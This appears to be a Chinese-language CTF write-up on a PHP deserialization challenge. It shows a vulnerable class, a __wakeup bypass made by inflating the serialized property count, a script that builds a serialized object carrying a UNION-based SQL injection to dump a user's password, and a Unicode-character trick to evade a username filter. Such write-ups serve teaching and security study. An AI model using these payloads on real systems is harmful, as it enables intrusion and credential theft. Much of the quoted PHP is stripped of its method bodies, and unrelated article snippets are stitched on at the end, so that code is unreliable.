本題目需要兩個檔案:config.php和unserialize.php。
<?php
$db_host
='127.0.0.1'
;$db_name
='test'
;$db_user
='root'
;$db_pass
='password'
;$debug
= @$_get
['get'];
$flag
="hitcon"
;?>
只需要執行一條create database test即可,密碼可以換成你自己的。
<?php
include
"config.php"
;class
hitcon
function
show()
else
}function
login()
$obj
=$this
->
__query
($sql);
if($obj
!=false
&&$obj
->
role
=='admin'
)else
}function
source()
function
__conn()
mysql_query
("set names utf8");
mysql_query
("set sql_mode = 'strict_all_tables'");
}function
__query
($sql
,$back
=true)}
function
__die
($msg
)function
__close()
function
__destruct()
else
$this
->
__close()
;}function
__wakeup()
}}if(
isset
($_get
["data"])
)else
?>
執行unserialize時,會自動觸發__wakeup()函式。當序列化字串描述的屬性比真實屬性多時,就會跳過wakeup函式。這裡跳過後直接呼叫destruct函式。
**段底部:存在乙個if條件判斷,如果存在get方式傳入資料,那麼執行反序列化。因此考慮payload形式:get=1 &data=反序列化字串。
執行__destruct()函式會直接呼叫__conn()函式,自動為資料庫新增使用者條目。
想要爆出__login()函式的flag,必須得有username和password。這時必須利用show函式中的sql語句進行查詢。
<?php
class
hitcon
}$args
=array
("***' union select password,username,role from users where username='orange'--+");
$a=newhitcon
('show'
,$args);
echo
serialize($a
);?>
unserialize.php?get=
1&data=o:6:
"hitcon":3
:}
%00hitcon%00method
\x00 + 類名 + \x00 + 變數名 -> 反序列化為private變數
\x00 + * + \x00 + 變數名 -> 反序列化為protected變數
而\x00在ascii編碼是null的意思,但寫在url中必須進行編碼,也就是%00
***』 union select password,username,role from users where username=『orange』–+
注意:輸出的明明是username,如何顯示出密碼?
只要查詢的時候把username和password的順序打亂即可。
完整的sql語句為:
select * from users where username=『***』 union select password,username,role from users where username=『orange』
「hitcon」:3
在序列化字串中只描述了兩個屬性:method和args,但是為了繞過__wakeup()函式,要把屬性個數增大。
上一步爆出了資料庫密碼,這時需要把使用者名稱和密碼傳入login()函式中,獲取flag。
login()函式對傳入的username進行了過濾,即username和sql不能出現orange。
if
($username
=='orange'
||stripos
($sql
,'orange')!=
false
)
這裡就要考慮使用特殊字元繞過。
可以用à,á,â,ã,ä,å們來代替a進行繞過。
詳細剖析傳送門:的utf-8編碼與字元差異 上圖
php反序列漏洞 例項 PHP反序列化漏洞
雖然胳膊廢了,也不能停止我更新的腳步。寫個簡單點的吧 0x00 何為類和物件 說到序列化和反序列化就不得不提到兩個詞 類和物件 那麼什麼是類,什麼是物件 教科書式的答案是類是物件的抽象,物件是類的例項 那啥叫個抽象,啥叫個例項呢 簡單的說,類就是物件的乙個標準模板,而物件就是按照模板做出來的實物 一...
PHP反序列化
php反序列化漏洞 一 序列化定義 序列化 serialization 在電腦科學的資料處理中,是指將資料結構或物件狀態轉換成可取用格式 例如存成檔案,存於緩衝,或經由網路中傳送 以留待後續在相同或另一台計算機環境中,能恢復原先狀態的過程。概念很容易理解,其實就是將資料轉化成一種可逆的資料結構,自然...
php反序列化
php序列化 將物件或變數轉換成字串。php反序列化 是將字串轉換成原來的變數。serialize serialize 函式用於序列化物件或陣列,並返回乙個字串。serialize 函式序列化物件後,可以很方便的將它傳遞給其他需要它的地方,且其型別和結構不會改變。sites array google...